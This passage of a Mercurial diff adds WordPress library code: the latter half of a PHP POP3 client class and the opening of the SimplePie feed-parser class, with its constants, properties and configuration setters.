top ($msgNum, $numLines = "0") { + // Gets the header and first $numLines of the msg body + // returns data in an array with each returned line being + // an array element. If $numLines is empty, returns + // only the header information, and none of the body. + + if(!isset($this->FP)) { + $this->ERROR = "POP3 top: " . _("No connection to server"); + return false; + } + $this->update_timer(); + + $fp = $this->FP; + $buffer = $this->BUFFER; + $cmd = "TOP $msgNum $numLines"; + fwrite($fp, "TOP $msgNum $numLines\r\n"); + $reply = fgets($fp, $buffer); + $reply = $this->strip_clf($reply); + if($this->DEBUG) { + @error_log("POP3 SEND [$cmd] GOT [$reply]",0); + } + if(!$this->is_ok($reply)) + { + $this->ERROR = "POP3 top: " . _("Error ") . "[$reply]"; + return false; + } + + $count = 0; + $MsgArray = array(); + + $line = fgets($fp,$buffer); + while ( !ereg("^\.\r\n",$line)) + { + $MsgArray[$count] = $line; + $count++; + $line = fgets($fp,$buffer); + if(empty($line)) { break; } + } + + return $MsgArray; + } + + function pop_list ($msgNum = "") { + // If called with an argument, returns that msgs' size in octets + // No argument returns an associative array of undeleted + // msg numbers and their sizes in octets + + if(!isset($this->FP)) + { + $this->ERROR = "POP3 pop_list: " . _("No connection to server"); + return false; + } + $fp = $this->FP; + $Total = $this->COUNT; + if( (!$Total) or ($Total == -1) ) + { + return false; + } + if($Total == 0) + { + return array("0","0"); + // return -1; // mailbox empty + } + + $this->update_timer(); + + if(!empty($msgNum)) + { + $cmd = "LIST $msgNum"; + fwrite($fp,"$cmd\r\n"); + $reply = fgets($fp,$this->BUFFER); + $reply = $this->strip_clf($reply); + if($this->DEBUG) { + @error_log("POP3 SEND [$cmd] GOT [$reply]",0); + } + if(!$this->is_ok($reply)) + { + $this->ERROR = "POP3 pop_list: " . _("Error ") . "[$reply]"; + return false; + } + list($junk,$num,$size) = preg_split('/\s+/',$reply); + return $size; + } + $cmd = "LIST"; + $reply = $this->send_cmd($cmd); + if(!$this->is_ok($reply)) + { + $reply = $this->strip_clf($reply); + $this->ERROR = "POP3 pop_list: " . _("Error ") . "[$reply]"; + return false; + } + $MsgArray = array(); + $MsgArray[0] = $Total; + for($msgC=1;$msgC <= $Total; $msgC++) + { + if($msgC > $Total) { break; } + $line = fgets($fp,$this->BUFFER); + $line = $this->strip_clf($line); + if(ereg("^\.",$line)) + { + $this->ERROR = "POP3 pop_list: " . _("Premature end of list"); + return false; + } + list($thisMsg,$msgSize) = preg_split('/\s+/',$line); + settype($thisMsg,"integer"); + if($thisMsg != $msgC) + { + $MsgArray[$msgC] = "deleted"; + } + else + { + $MsgArray[$msgC] = $msgSize; + } + } + return $MsgArray; + } + + function get ($msgNum) { + // Retrieve the specified msg number. Returns an array + // where each line of the msg is an array element. + + if(!isset($this->FP)) + { + $this->ERROR = "POP3 get: " . _("No connection to server"); + return false; + } + + $this->update_timer(); + + $fp = $this->FP; + $buffer = $this->BUFFER; + $cmd = "RETR $msgNum"; + $reply = $this->send_cmd($cmd); + + if(!$this->is_ok($reply)) + { + $this->ERROR = "POP3 get: " . _("Error ") . "[$reply]"; + return false; + } + + $count = 0; + $MsgArray = array(); + + $line = fgets($fp,$buffer); + while ( !ereg("^\.\r\n",$line)) + { + if ( $line{0} == '.' ) { $line = substr($line,1); } + $MsgArray[$count] = $line; + $count++; + $line = fgets($fp,$buffer); + if(empty($line)) { break; } + } + return $MsgArray; + } + + function last ( $type = "count" ) { + // Returns the highest msg number in the mailbox. + // returns -1 on error, 0+ on success, if type != count + // results in a popstat() call (2 element array returned) + + $last = -1; + if(!isset($this->FP)) + { + $this->ERROR = "POP3 last: " . _("No connection to server"); + return $last; + } + + $reply = $this->send_cmd("STAT"); + if(!$this->is_ok($reply)) + { + $this->ERROR = "POP3 last: " . _("Error ") . "[$reply]"; + return $last; + } + + $Vars = preg_split('/\s+/',$reply); + $count = $Vars[1]; + $size = $Vars[2]; + settype($count,"integer"); + settype($size,"integer"); + if($type != "count") + { + return array($count,$size); + } + return $count; + } + + function reset () { + // Resets the status of the remote server. This includes + // resetting the status of ALL msgs to not be deleted. + // This method automatically closes the connection to the server. + + if(!isset($this->FP)) + { + $this->ERROR = "POP3 reset: " . _("No connection to server"); + return false; + } + $reply = $this->send_cmd("RSET"); + if(!$this->is_ok($reply)) + { + // The POP3 RSET command -never- gives a -ERR + // response - if it ever does, something truely + // wild is going on. + + $this->ERROR = "POP3 reset: " . _("Error ") . "[$reply]"; + @error_log("POP3 reset: ERROR [$reply]",0); + } + $this->quit(); + return true; + } + + function send_cmd ( $cmd = "" ) + { + // Sends a user defined command string to the + // POP server and returns the results. Useful for + // non-compliant or custom POP servers. + // Do NOT includ the \r\n as part of your command + // string - it will be appended automatically. + + // The return value is a standard fgets() call, which + // will read up to $this->BUFFER bytes of data, until it + // encounters a new line, or EOF, whichever happens first. + + // This method works best if $cmd responds with only + // one line of data. + + if(!isset($this->FP)) + { + $this->ERROR = "POP3 send_cmd: " . _("No connection to server"); + return false; + } + + if(empty($cmd)) + { + $this->ERROR = "POP3 send_cmd: " . _("Empty command string"); + return ""; + } + + $fp = $this->FP; + $buffer = $this->BUFFER; + $this->update_timer(); + fwrite($fp,"$cmd\r\n"); + $reply = fgets($fp,$buffer); + $reply = $this->strip_clf($reply); + if($this->DEBUG) { @error_log("POP3 SEND [$cmd] GOT [$reply]",0); } + return $reply; + } + + function quit() { + // Closes the connection to the POP3 server, deleting + // any msgs marked as deleted. + + if(!isset($this->FP)) + { + $this->ERROR = "POP3 quit: " . _("connection does not exist"); + return false; + } + $fp = $this->FP; + $cmd = "QUIT"; + fwrite($fp,"$cmd\r\n"); + $reply = fgets($fp,$this->BUFFER); + $reply = $this->strip_clf($reply); + if($this->DEBUG) { @error_log("POP3 SEND [$cmd] GOT [$reply]",0); } + fclose($fp); + unset($this->FP); + return true; + } + + function popstat () { + // Returns an array of 2 elements. The number of undeleted + // msgs in the mailbox, and the size of the mbox in octets. + + $PopArray = $this->last("array"); + + if($PopArray == -1) { return false; } + + if( (!$PopArray) or (empty($PopArray)) ) + { + return false; + } + return $PopArray; + } + + function uidl ($msgNum = "") + { + // Returns the UIDL of the msg specified. If called with + // no arguments, returns an associative array where each + // undeleted msg num is a key, and the msg's uidl is the element + // Array element 0 will contain the total number of msgs + + if(!isset($this->FP)) { + $this->ERROR = "POP3 uidl: " . _("No connection to server"); + return false; + } + + $fp = $this->FP; + $buffer = $this->BUFFER; + + if(!empty($msgNum)) { + $cmd = "UIDL $msgNum"; + $reply = $this->send_cmd($cmd); + if(!$this->is_ok($reply)) + { + $this->ERROR = "POP3 uidl: " . _("Error ") . "[$reply]"; + return false; + } + list ($ok,$num,$myUidl) = preg_split('/\s+/',$reply); + return $myUidl; + } else { + $this->update_timer(); + + $UIDLArray = array(); + $Total = $this->COUNT; + $UIDLArray[0] = $Total; + + if ($Total < 1) + { + return $UIDLArray; + } + $cmd = "UIDL"; + fwrite($fp, "UIDL\r\n"); + $reply = fgets($fp, $buffer); + $reply = $this->strip_clf($reply); + if($this->DEBUG) { @error_log("POP3 SEND [$cmd] GOT [$reply]",0); } + if(!$this->is_ok($reply)) + { + $this->ERROR = "POP3 uidl: " . _("Error ") . "[$reply]"; + return false; + } + + $line = ""; + $count = 1; + $line = fgets($fp,$buffer); + while ( !ereg("^\.\r\n",$line)) { + if(ereg("^\.\r\n",$line)) { + break; + } + list ($msg,$msgUidl) = preg_split('/\s+/',$line); + $msgUidl = $this->strip_clf($msgUidl); + if($count == $msg) { + $UIDLArray[$msg] = $msgUidl; + } + else + { + $UIDLArray[$count] = 'deleted'; + } + $count++; + $line = fgets($fp,$buffer); + } + } + return $UIDLArray; + } + + function delete ($msgNum = "") { + // Flags a specified msg as deleted. The msg will not + // be deleted until a quit() method is called. + + if(!isset($this->FP)) + { + $this->ERROR = "POP3 delete: " . _("No connection to server"); + return false; + } + if(empty($msgNum)) + { + $this->ERROR = "POP3 delete: " . _("No msg number submitted"); + return false; + } + $reply = $this->send_cmd("DELE $msgNum"); + if(!$this->is_ok($reply)) + { + $this->ERROR = "POP3 delete: " . _("Command failed ") . "[$reply]"; + return false; + } + return true; + } + + // ********************************************************* + + // The following methods are internal to the class. + + function is_ok ($cmd = "") { + // Return true or false on +OK or -ERR + + if( empty($cmd) ) + return false; + else + return( ereg ("^\+OK", $cmd ) ); + } + + function strip_clf ($text = "") { + // Strips \r\n from server responses + + if(empty($text)) + return $text; + else { + $stripped = str_replace("\r",'',$text); + $stripped = str_replace("\n",'',$stripped); + return $stripped; + } + } + + function parse_banner ( $server_text ) { + $outside = true; + $banner = ""; + $length = strlen($server_text); + for($count =0; $count < $length; $count++) + { + $digit = substr($server_text,$count,1); + if(!empty($digit)) { + if( (!$outside) && ($digit != '<') && ($digit != '>') ) + { + $banner .= $digit; + } + if ($digit == '<') + { + $outside = false; + } + if($digit == '>') + { + $outside = true; + } + } + } + $banner = $this->strip_clf($banner); // Just in case + return "<$banner>"; + } + +} // End class +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/class-simplepie.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/class-simplepie.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,15001 @@ +' . SIMPLEPIE_NAME . ''); + +/** + * No Autodiscovery + * @see SimplePie::set_autodiscovery_level() + */ +define('SIMPLEPIE_LOCATOR_NONE', 0); + +/** + * Feed Link Element Autodiscovery + * @see SimplePie::set_autodiscovery_level() + */ +define('SIMPLEPIE_LOCATOR_AUTODISCOVERY', 1); + +/** + * Local Feed Extension Autodiscovery + * @see SimplePie::set_autodiscovery_level() + */ +define('SIMPLEPIE_LOCATOR_LOCAL_EXTENSION', 2); + +/** + * Local Feed Body Autodiscovery + * @see SimplePie::set_autodiscovery_level() + */ +define('SIMPLEPIE_LOCATOR_LOCAL_BODY', 4); + +/** + * Remote Feed Extension Autodiscovery + * @see SimplePie::set_autodiscovery_level() + */ +define('SIMPLEPIE_LOCATOR_REMOTE_EXTENSION', 8); + +/** + * Remote Feed Body Autodiscovery + * @see SimplePie::set_autodiscovery_level() + */ +define('SIMPLEPIE_LOCATOR_REMOTE_BODY', 16); + +/** + * All Feed Autodiscovery + * @see SimplePie::set_autodiscovery_level() + */ +define('SIMPLEPIE_LOCATOR_ALL', 31); + +/** + * No known feed type + */ +define('SIMPLEPIE_TYPE_NONE', 0); + +/** + * RSS 0.90 + */ +define('SIMPLEPIE_TYPE_RSS_090', 1); + +/** + * RSS 0.91 (Netscape) + */ +define('SIMPLEPIE_TYPE_RSS_091_NETSCAPE', 2); + +/** + * RSS 0.91 (Userland) + */ +define('SIMPLEPIE_TYPE_RSS_091_USERLAND', 4); + +/** + * RSS 0.91 (both Netscape and Userland) + */ +define('SIMPLEPIE_TYPE_RSS_091', 6); + +/** + * RSS 0.92 + */ +define('SIMPLEPIE_TYPE_RSS_092', 8); + +/** + * RSS 0.93 + */ +define('SIMPLEPIE_TYPE_RSS_093', 16); + +/** + * RSS 0.94 + */ +define('SIMPLEPIE_TYPE_RSS_094', 32); + +/** + * RSS 1.0 + */ +define('SIMPLEPIE_TYPE_RSS_10', 64); + +/** + * RSS 2.0 + */ +define('SIMPLEPIE_TYPE_RSS_20', 128); + +/** + * RDF-based RSS + */ +define('SIMPLEPIE_TYPE_RSS_RDF', 65); + +/** + * Non-RDF-based RSS (truly intended as syndication format) + */ +define('SIMPLEPIE_TYPE_RSS_SYNDICATION', 190); + +/** + * All RSS + */ +define('SIMPLEPIE_TYPE_RSS_ALL', 255); + +/** + * Atom 0.3 + */ +define('SIMPLEPIE_TYPE_ATOM_03', 256); + +/** + * Atom 1.0 + */ +define('SIMPLEPIE_TYPE_ATOM_10', 512); + +/** + * All Atom + */ +define('SIMPLEPIE_TYPE_ATOM_ALL', 768); + +/** + * All feed types + */ +define('SIMPLEPIE_TYPE_ALL', 1023); + +/** + * No construct + */ +define('SIMPLEPIE_CONSTRUCT_NONE', 0); + +/** + * Text construct + */ +define('SIMPLEPIE_CONSTRUCT_TEXT', 1); + +/** + * HTML construct + */ +define('SIMPLEPIE_CONSTRUCT_HTML', 2); + +/** + * XHTML construct + */ +define('SIMPLEPIE_CONSTRUCT_XHTML', 4); + +/** + * base64-encoded construct + */ +define('SIMPLEPIE_CONSTRUCT_BASE64', 8); + +/** + * IRI construct + */ +define('SIMPLEPIE_CONSTRUCT_IRI', 16); + +/** + * A construct that might be HTML + */ +define('SIMPLEPIE_CONSTRUCT_MAYBE_HTML', 32); + +/** + * All constructs + */ +define('SIMPLEPIE_CONSTRUCT_ALL', 63); + +/** + * Don't change case + */ +define('SIMPLEPIE_SAME_CASE', 1); + +/** + * Change to lowercase + */ +define('SIMPLEPIE_LOWERCASE', 2); + +/** + * Change to uppercase + */ +define('SIMPLEPIE_UPPERCASE', 4); + +/** + * PCRE for HTML attributes + */ +define('SIMPLEPIE_PCRE_HTML_ATTRIBUTE', '((?:[\x09\x0A\x0B\x0C\x0D\x20]+[^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3D\x3E]*(?:[\x09\x0A\x0B\x0C\x0D\x20]*=[\x09\x0A\x0B\x0C\x0D\x20]*(?:"(?:[^"]*)"|\'(?:[^\']*)\'|(?:[^\x09\x0A\x0B\x0C\x0D\x20\x22\x27\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x3E]*)?))?)*)[\x09\x0A\x0B\x0C\x0D\x20]*'); + +/** + * PCRE for XML attributes + */ +define('SIMPLEPIE_PCRE_XML_ATTRIBUTE', '((?:\s+(?:(?:[^\s:]+:)?[^\s:]+)\s*=\s*(?:"(?:[^"]*)"|\'(?:[^\']*)\'))*)\s*'); + +/** + * XML Namespace + */ +define('SIMPLEPIE_NAMESPACE_XML', 'http://www.w3.org/XML/1998/namespace'); + +/** + * Atom 1.0 Namespace + */ +define('SIMPLEPIE_NAMESPACE_ATOM_10', 'http://www.w3.org/2005/Atom'); + +/** + * Atom 0.3 Namespace + */ +define('SIMPLEPIE_NAMESPACE_ATOM_03', 'http://purl.org/atom/ns#'); + +/** + * RDF Namespace + */ +define('SIMPLEPIE_NAMESPACE_RDF', 'http://www.w3.org/1999/02/22-rdf-syntax-ns#'); + +/** + * RSS 0.90 Namespace + */ +define('SIMPLEPIE_NAMESPACE_RSS_090', 'http://my.netscape.com/rdf/simple/0.9/'); + +/** + * RSS 1.0 Namespace + */ +define('SIMPLEPIE_NAMESPACE_RSS_10', 'http://purl.org/rss/1.0/'); + +/** + * RSS 1.0 Content Module Namespace + */ +define('SIMPLEPIE_NAMESPACE_RSS_10_MODULES_CONTENT', 'http://purl.org/rss/1.0/modules/content/'); + +/** + * RSS 2.0 Namespace + * (Stupid, I know, but I'm certain it will confuse people less with support.) + */ +define('SIMPLEPIE_NAMESPACE_RSS_20', ''); + +/** + * DC 1.0 Namespace + */ +define('SIMPLEPIE_NAMESPACE_DC_10', 'http://purl.org/dc/elements/1.0/'); + +/** + * DC 1.1 Namespace + */ +define('SIMPLEPIE_NAMESPACE_DC_11', 'http://purl.org/dc/elements/1.1/'); + +/** + * W3C Basic Geo (WGS84 lat/long) Vocabulary Namespace + */ +define('SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO', 'http://www.w3.org/2003/01/geo/wgs84_pos#'); + +/** + * GeoRSS Namespace + */ +define('SIMPLEPIE_NAMESPACE_GEORSS', 'http://www.georss.org/georss'); + +/** + * Media RSS Namespace + */ +define('SIMPLEPIE_NAMESPACE_MEDIARSS', 'http://search.yahoo.com/mrss/'); + +/** + * Wrong Media RSS Namespace + */ +define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG', 'http://search.yahoo.com/mrss'); + +/** + * iTunes RSS Namespace + */ +define('SIMPLEPIE_NAMESPACE_ITUNES', 'http://www.itunes.com/dtds/podcast-1.0.dtd'); + +/** + * XHTML Namespace + */ +define('SIMPLEPIE_NAMESPACE_XHTML', 'http://www.w3.org/1999/xhtml'); + +/** + * IANA Link Relations Registry + */ +define('SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY', 'http://www.iana.org/assignments/relation/'); + +/** + * Whether we're running on PHP5 + */ +define('SIMPLEPIE_PHP5', version_compare(PHP_VERSION, '5.0.0', '>=')); + +/** + * No file source + */ +define('SIMPLEPIE_FILE_SOURCE_NONE', 0); + +/** + * Remote file source + */ +define('SIMPLEPIE_FILE_SOURCE_REMOTE', 1); + +/** + * Local file source + */ +define('SIMPLEPIE_FILE_SOURCE_LOCAL', 2); + +/** + * fsockopen() file source + */ +define('SIMPLEPIE_FILE_SOURCE_FSOCKOPEN', 4); + +/** + * cURL file source + */ +define('SIMPLEPIE_FILE_SOURCE_CURL', 8); + +/** + * file_get_contents() file source + */ +define('SIMPLEPIE_FILE_SOURCE_FILE_GET_CONTENTS', 16); + +/** + * SimplePie + * + * @package SimplePie + */ +class SimplePie +{ + /** + * @var array Raw data + * @access private + */ + var $data = array(); + + /** + * @var mixed Error string + * @access private + */ + var $error; + + /** + * @var object Instance of SimplePie_Sanitize (or other class) + * @see SimplePie::set_sanitize_class() + * @access private + */ + var $sanitize; + + /** + * @var string SimplePie Useragent + * @see SimplePie::set_useragent() + * @access private + */ + var $useragent = SIMPLEPIE_USERAGENT; + + /** + * @var string Feed URL + * @see SimplePie::set_feed_url() + * @access private + */ + var $feed_url; + + /** + * @var object Instance of SimplePie_File to use as a feed + * @see SimplePie::set_file() + * @access private + */ + var $file; + + /** + * @var string Raw feed data + * @see SimplePie::set_raw_data() + * @access private + */ + var $raw_data; + + /** + * @var int Timeout for fetching remote files + * @see SimplePie::set_timeout() + * @access private + */ + var $timeout = 10; + + /** + * @var bool Forces fsockopen() to be used for remote files instead + * of cURL, even if a new enough version is installed + * @see SimplePie::force_fsockopen() + * @access private + */ + var $force_fsockopen = false; + + /** + * @var bool Force the given data/URL to be treated as a feed no matter what + * it appears like + * @see SimplePie::force_feed() + * @access private + */ + var $force_feed = false; + + /** + * @var bool Enable/Disable XML dump + * @see SimplePie::enable_xml_dump() + * @access private + */ + var $xml_dump = false; + + /** + * @var bool Enable/Disable Caching + * @see SimplePie::enable_cache() + * @access private + */ + var $cache = true; + + /** + * @var int Cache duration (in seconds) + * @see SimplePie::set_cache_duration() + * @access private + */ + var $cache_duration = 3600; + + /** + * @var int Auto-discovery cache duration (in seconds) + * @see SimplePie::set_autodiscovery_cache_duration() + * @access private + */ + var $autodiscovery_cache_duration = 604800; // 7 Days. + + /** + * @var string Cache location (relative to executing script) + * @see SimplePie::set_cache_location() + * @access private + */ + var $cache_location = './cache'; + + /** + * @var string Function that creates the cache filename + * @see SimplePie::set_cache_name_function() + * @access private + */ + var $cache_name_function = 'md5'; + + /** + * @var bool Reorder feed by date descending + * @see SimplePie::enable_order_by_date() + * @access private + */ + var $order_by_date = true; + + /** + * @var mixed Force input encoding to be set to the follow value + * (false, or anything type-cast to false, disables this feature) + * @see SimplePie::set_input_encoding() + * @access private + */ + var $input_encoding = false; + + /** + * @var int Feed Autodiscovery Level + * @see SimplePie::set_autodiscovery_level() + * @access private + */ + var $autodiscovery = SIMPLEPIE_LOCATOR_ALL; + + /** + * @var string Class used for caching feeds + * @see SimplePie::set_cache_class() + * @access private + */ + var $cache_class = 'SimplePie_Cache'; + + /** + * @var string Class used for locating feeds + * @see SimplePie::set_locator_class() + * @access private + */ + var $locator_class = 'SimplePie_Locator'; + + /** + * @var string Class used for parsing feeds + * @see SimplePie::set_parser_class() + * @access private + */ + var $parser_class = 'SimplePie_Parser'; + + /** + * @var string Class used for fetching feeds + * @see SimplePie::set_file_class() + * @access private + */ + var $file_class = 'SimplePie_File'; + + /** + * @var string Class used for items + * @see SimplePie::set_item_class() + * @access private + */ + var $item_class = 'SimplePie_Item'; + + /** + * @var string Class used for authors + * @see SimplePie::set_author_class() + * @access private + */ + var $author_class = 'SimplePie_Author'; + + /** + * @var string Class used for categories + * @see SimplePie::set_category_class() + * @access private + */ + var $category_class = 'SimplePie_Category'; + + /** + * @var string Class used for enclosures + * @see SimplePie::set_enclosures_class() + * @access private + */ + var $enclosure_class = 'SimplePie_Enclosure'; + + /** + * @var string Class used for Media RSS captions + * @see SimplePie::set_caption_class() + * @access private + */ + var $caption_class = 'SimplePie_Caption'; + + /** + * @var string Class used for Media RSS + * @see SimplePie::set_copyright_class() + * @access private + */ + var $copyright_class = 'SimplePie_Copyright'; + + /** + * @var string Class used for Media RSS + * @see SimplePie::set_credit_class() + * @access private + */ + var $credit_class = 'SimplePie_Credit'; + + /** + * @var string Class used for Media RSS + * @see SimplePie::set_rating_class() + * @access private + */ + var $rating_class = 'SimplePie_Rating'; + + /** + * @var string Class used for Media RSS + * @see SimplePie::set_restriction_class() + * @access private + */ + var $restriction_class = 'SimplePie_Restriction'; + + /** + * @var string Class used for content-type sniffing + * @see SimplePie::set_content_type_sniffer_class() + * @access private + */ + var $content_type_sniffer_class = 'SimplePie_Content_Type_Sniffer'; + + /** + * @var string Class used for item sources. + * @see SimplePie::set_source_class() + * @access private + */ + var $source_class = 'SimplePie_Source'; + + /** + * @var mixed Set javascript query string parameter (false, or + * anything type-cast to false, disables this feature) + * @see SimplePie::set_javascript() + * @access private + */ + var $javascript = 'js'; + + /** + * @var int Maximum number of feeds to check with autodiscovery + * @see SimplePie::set_max_checked_feeds() + * @access private + */ + var $max_checked_feeds = 10; + + /** + * @var array All the feeds found during the autodiscovery process + * @see SimplePie::get_all_discovered_feeds() + * @access private + */ + var $all_discovered_feeds = array(); + + /** + * @var string Web-accessible path to the handler_favicon.php file. + * @see SimplePie::set_favicon_handler() + * @access private + */ + var $favicon_handler = ''; + + /** + * @var string Web-accessible path to the handler_image.php file. + * @see SimplePie::set_image_handler() + * @access private + */ + var $image_handler = ''; + + /** + * @var array Stores the URLs when multiple feeds are being initialized. + * @see SimplePie::set_feed_url() + * @access private + */ + var $multifeed_url = array(); + + /** + * @var array Stores SimplePie objects when multiple feeds initialized. + * @access private + */ + var $multifeed_objects = array(); + + /** + * @var array Stores the get_object_vars() array for use with multifeeds. + * @see SimplePie::set_feed_url() + * @access private + */ + var $config_settings = null; + + /** + * @var integer Stores the number of items to return per-feed with multifeeds. + * @see SimplePie::set_item_limit() + * @access private + */ + var $item_limit = 0; + + /** + * @var array Stores the default attributes to be stripped by strip_attributes(). + * @see SimplePie::strip_attributes() + * @access private + */ + var $strip_attributes = array('bgsound', 'class', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc'); + + /** + * @var array Stores the default tags to be stripped by strip_htmltags(). + * @see SimplePie::strip_htmltags() + * @access private + */ + var $strip_htmltags = array('base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style'); + + /** + * The SimplePie class contains feed level data and options + * + * There are two ways that you can create a new SimplePie object. The first + * is by passing a feed URL as a parameter to the SimplePie constructor + * (as well as optionally setting the cache location and cache expiry). This + * will initialise the whole feed with all of the default settings, and you + * can begin accessing methods and properties immediately. + * + * The second way is to create the SimplePie object with no parameters + * at all. This will enable you to set configuration options. After setting + * them, you must initialise the feed using $feed->init(). At that point the + * object's methods and properties will be available to you. This format is + * what is used throughout this documentation. + * + * @access public + * @since 1.0 Preview Release + * @param string $feed_url This is the URL you want to parse. + * @param string $cache_location This is where you want the cache to be stored. + * @param int $cache_duration This is the number of seconds that you want to store the cache file for. + */ + function SimplePie($feed_url = null, $cache_location = null, $cache_duration = null) + { + // Other objects, instances created here so we can set options on them + $this->sanitize =& new SimplePie_Sanitize; + + // Set options if they're passed to the constructor + if ($cache_location !== null) + { + $this->set_cache_location($cache_location); + } + + if ($cache_duration !== null) + { + $this->set_cache_duration($cache_duration); + } + + // Only init the script if we're passed a feed URL + if ($feed_url !== null) + { + $this->set_feed_url($feed_url); + $this->init(); + } + } + + /** + * Used for converting object to a string + */ + function __toString() + { + return md5(serialize($this->data)); + } + + /** + * Remove items that link back to this before destroying this object + */ + function __destruct() + { + if ((version_compare(PHP_VERSION, '5.3', '<') || !gc_enabled()) && !ini_get('zend.ze1_compatibility_mode')) + { + if (!empty($this->data['items'])) + { + foreach ($this->data['items'] as $item) + { + $item->__destruct(); + } + unset($item, $this->data['items']); + } + if (!empty($this->data['ordered_items'])) + { + foreach ($this->data['ordered_items'] as $item) + { + $item->__destruct(); + } + unset($item, $this->data['ordered_items']); + } + } + } + + /** + * Force the given data/URL to be treated as a feed no matter what it + * appears like + * + * @access public + * @since 1.1 + * @param bool $enable Force the given data/URL to be treated as a feed + */ + function force_feed($enable = false) + { + $this->force_feed = (bool) $enable; + } + + /** + * This is the URL of the feed you want to parse. + * + * This allows you to enter the URL of the feed you want to parse, or the + * website you want to try to use auto-discovery on. This takes priority + * over any set raw data. + * + * You can set multiple feeds to mash together by passing an array instead + * of a string for the $url. Remember that with each additional feed comes + * additional processing and resources. + * + * @access public + * @since 1.0 Preview Release + * @param mixed $url This is the URL (or array of URLs) that you want to parse. + * @see SimplePie::set_raw_data() + */ + function set_feed_url($url) + { + if (is_array($url)) + { + $this->multifeed_url = array(); + foreach ($url as $value) + { + $this->multifeed_url[] = SimplePie_Misc::fix_protocol($value, 1); + } + } + else + { + $this->feed_url = SimplePie_Misc::fix_protocol($url, 1); + } + } + + /** + * Provides an instance of SimplePie_File to use as a feed + * + * @access public + * @param object &$file Instance of SimplePie_File (or subclass) + * @return bool True on success, false on failure + */ + function set_file(&$file) + { + if (is_a($file, 'SimplePie_File')) + { + $this->feed_url = $file->url; + $this->file =& $file; + return true; + } + return false; + } + + /** + * Allows you to use a string of RSS/Atom data instead of a remote feed. + * + * If you have a feed available as a string in PHP, you can tell SimplePie + * to parse that data string instead of a remote feed. Any set feed URL + * takes precedence. + * + * @access public + * @since 1.0 Beta 3 + * @param string $data RSS or Atom data as a string. + * @see SimplePie::set_feed_url() + */ + function set_raw_data($data) + { + $this->raw_data = $data; + } + + /** + * Allows you to override the default timeout for fetching remote feeds. + * + * This allows you to change the maximum time the feed's server to respond + * and send the feed back. + * + * @access public + * @since 1.0 Beta 3 + * @param int $timeout The maximum number of seconds to spend waiting to retrieve a feed. + */ + function set_timeout($timeout = 10) + { + $this->timeout = (int) $timeout; + } + + /** + * Forces SimplePie to use fsockopen() instead of the preferred cURL + * functions. + * + * @access public + * @since 1.0 Beta 3 + * @param bool $enable Force fsockopen() to be used + */ + function force_fsockopen($enable = false) + { + $this->force_fsockopen = (bool) $enable; + } + + /** + * Outputs the raw XML content of the feed, after it has gone through + * SimplePie's filters. + * + * Used only for debugging, this function will output the XML content as + * text/xml. When SimplePie reads in a feed, it does a bit of cleaning up + * before trying to parse it. Many parts of the feed are re-written in + * memory, and in the end, you have a parsable feed. XML dump shows you the + * actual XML that SimplePie tries to parse, which may or may not be very + * different from the original feed. + * + * @access public + * @since 1.0 Preview Release + * @param bool $enable Enable XML dump + */ + function enable_xml_dump($enable = false) + { + $this->xml_dump = (bool) $enable; + } + + /** + * Enables/disables caching in SimplePie. + * + * This option allows you to disable caching all-together in SimplePie. + * However, disabling the cache can lead to longer load times. + * + * @access public + * @since 1.0 Preview Release + * @param bool $enable Enable caching + */ + function enable_cache($enable = true) + { + $this->cache = (bool) $enable; + } + + /** + * Set the length of time (in seconds) that the contents of a feed + * will be cached. + * + * @access public + * @param int $seconds The feed content cache duration. + */ + function set_cache_duration($seconds = 3600) + { + $this->cache_duration = (int) $seconds; + } + + /** + * Set the length of time (in seconds) that the autodiscovered feed + * URL will be cached. + * + * @access public + * @param int $seconds The autodiscovered feed URL cache duration. + */ + function set_autodiscovery_cache_duration($seconds = 604800) + { + $this->autodiscovery_cache_duration = (int) $seconds; + } + + /** + * Set the file system location where the cached files should be stored. + * + * @access public + * @param string $location The file system location. + */ + function set_cache_location($location = './cache') + { + $this->cache_location = (string) $location; + } + + /** + * Determines whether feed items should be sorted into reverse chronological order. + * + * @access public + * @param bool $enable Sort as reverse chronological order. + */ + function enable_order_by_date($enable = true) + { + $this->order_by_date = (bool) $enable; + } + + /** + * Allows you to override the character encoding reported by the feed. + * + * @access public + * @param string $encoding Character encoding. + */ + function set_input_encoding($encoding = false) + { + if ($encoding) + { + $this->input_encoding = (string) $encoding; + } + else + { + $this->input_encoding = false; + } + } + + /** + * Set how much feed autodiscovery to do + * + * @access public + * @see SIMPLEPIE_LOCATOR_NONE + * @see SIMPLEPIE_LOCATOR_AUTODISCOVERY + * @see SIMPLEPIE_LOCATOR_LOCAL_EXTENSION + * @see SIMPLEPIE_LOCATOR_LOCAL_BODY + * @see SIMPLEPIE_LOCATOR_REMOTE_EXTENSION + * @see SIMPLEPIE_LOCATOR_REMOTE_BODY + * @see SIMPLEPIE_LOCATOR_ALL + * @param int $level Feed Autodiscovery Level (level can be a + * combination of the above constants, see bitwise OR operator) + */ + function set_autodiscovery_level($level = SIMPLEPIE_LOCATOR_ALL) + { + $this->autodiscovery = (int) $level; + } + + /** + * Allows you to change which class SimplePie uses for caching. + * Useful when you are overloading or extending SimplePie's default classes. + * + * @access public + * @param string $class Name of custom class. + * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation + * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation + */ + function set_cache_class($class = 'SimplePie_Cache') + { + if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Cache')) + { + $this->cache_class = $class; + return true; + } + return false; + } + + /** + * Allows you to change which class SimplePie uses for auto-discovery. + * Useful when you are overloading or extending SimplePie's default classes. + * + * @access public + * @param string $class Name of custom class. + * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation + * @link 